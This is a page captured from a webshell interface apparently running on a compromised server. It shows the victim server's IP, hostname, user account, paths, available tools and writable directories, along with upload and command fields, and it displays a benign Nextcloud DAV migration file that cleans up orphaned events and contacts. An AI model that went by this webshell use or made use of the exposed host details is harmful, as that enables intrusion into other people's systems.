- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 18.117.11.13
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/puertode/public_html/sesiones/apps/dav/lib/Migration/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/puertode/public_html/sesiones/apps/dav/lib/Migration/RemoveOrphanEventsAndContacts.php
<?php

declare(strict_types=1);

/**
 * @copyright Copyright (c) 2019 Joas Schilling <coding@schilljs.com>
 *
 * @author Joas Schilling <coding@schilljs.com>
 * @author Thomas Citharel <tcit@tcit.fr>
 *
 * @license GNU AGPL version 3 or any later version
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU Affero General Public License as
 * published by the Free Software Foundation, either version 3 of the
 * License, or (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU Affero General Public License for more details.
 *
 * You should have received a copy of the GNU Affero General Public License
 * along with this program. If not, see <http://www.gnu.org/licenses/>.
 *
 */

namespace OCA\DAV\Migration;

use OCA\DAV\CalDAV\CalDavBackend;
use OCP\DB\QueryBuilder\IQueryBuilder;
use OCP\IDBConnection;
use OCP\Migration\IOutput;
use OCP\Migration\IRepairStep;

class RemoveOrphanEventsAndContacts implements IRepairStep {

	/** @var IDBConnection */
	private $connection;

	public function __construct(IDBConnection $connection) {
		$this->connection = $connection;
	}

	/**
	 * @inheritdoc
	 */
	public function getName(): string {
		return 'Clean up orphan event and contact data';
	}

	/**
	 * @inheritdoc
	 */
	public function run(IOutput $output) {
		$orphanItems = $this->removeOrphanChildren('calendarobjects', 'calendars',  'calendarid');
		$output->info(sprintf('%d events without a calendar have been cleaned up', $orphanItems));
		$orphanItems = $this->removeOrphanChildren('calendarobjects_props', 'calendarobjects',  'objectid');
		$output->info(sprintf('%d properties without an events have been cleaned up', $orphanItems));
		$orphanItems = $this->removeOrphanChildren('calendarchanges', 'calendars',  'calendarid');
		$output->info(sprintf('%d changes without a calendar have been cleaned up', $orphanItems));

		$orphanItems = $this->removeOrphanChildren('calendarobjects', 'calendarsubscriptions',  'calendarid');
		$output->info(sprintf('%d cached events without a calendar subscription have been cleaned up', $orphanItems));
		$orphanItems = $this->removeOrphanChildren('calendarchanges', 'calendarsubscriptions',  'calendarid');
		$output->info(sprintf('%d changes without a calendar subscription have been cleaned up', $orphanItems));

		$orphanItems = $this->removeOrphanChildren('cards', 'addressbooks',  'addressbookid');
		$output->info(sprintf('%d contacts without an addressbook have been cleaned up', $orphanItems));
		$orphanItems = $this->removeOrphanChildren('cards_properties', 'cards',  'cardid');
		$output->info(sprintf('%d properties without a contact have been cleaned up', $orphanItems));
		$orphanItems = $this->removeOrphanChildren('addressbookchanges', 'addressbooks',  'addressbookid');
		$output->info(sprintf('%d changes without an addressbook have been cleaned up', $orphanItems));
	}

	protected function removeOrphanChildren($childTable, $parentTable, $parentId): int {
		$qb = $this->connection->getQueryBuilder();

		$qb->select('c.id')
			->from($childTable, 'c')
			->leftJoin('c', $parentTable, 'p', $qb->expr()->eq('c.' . $parentId, 'p.id'))
			->where($qb->expr()->isNull('p.id'));

		if (\in_array($parentTable, ['calendars', 'calendarsubscriptions'], true)) {
			$calendarType = $parentTable === 'calendarsubscriptions' ? CalDavBackend::CALENDAR_TYPE_SUBSCRIPTION : CalDavBackend::CALENDAR_TYPE_CALENDAR;
			$qb->andWhere($qb->expr()->eq('c.calendartype', $qb->createNamedParameter($calendarType, IQueryBuilder::PARAM_INT), IQueryBuilder::PARAM_INT));
		}

		$result = $qb->execute();

		$orphanItems = array();
		while ($row = $result->fetch()) {
			$orphanItems[] = (int) $row['id'];
		}
		$result->closeCursor();

		if (!empty($orphanItems)) {
			$qb->delete($childTable)
				->where($qb->expr()->in('id', $qb->createParameter('ids')));

			$orphanItemsBatch = array_chunk($orphanItems, 200);
			foreach ($orphanItemsBatch as $items) {
				$qb->setParameter('ids', $items, IQueryBuilder::PARAM_INT_ARRAY);
				$qb->execute();
			}
		}

		return count($orphanItems);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit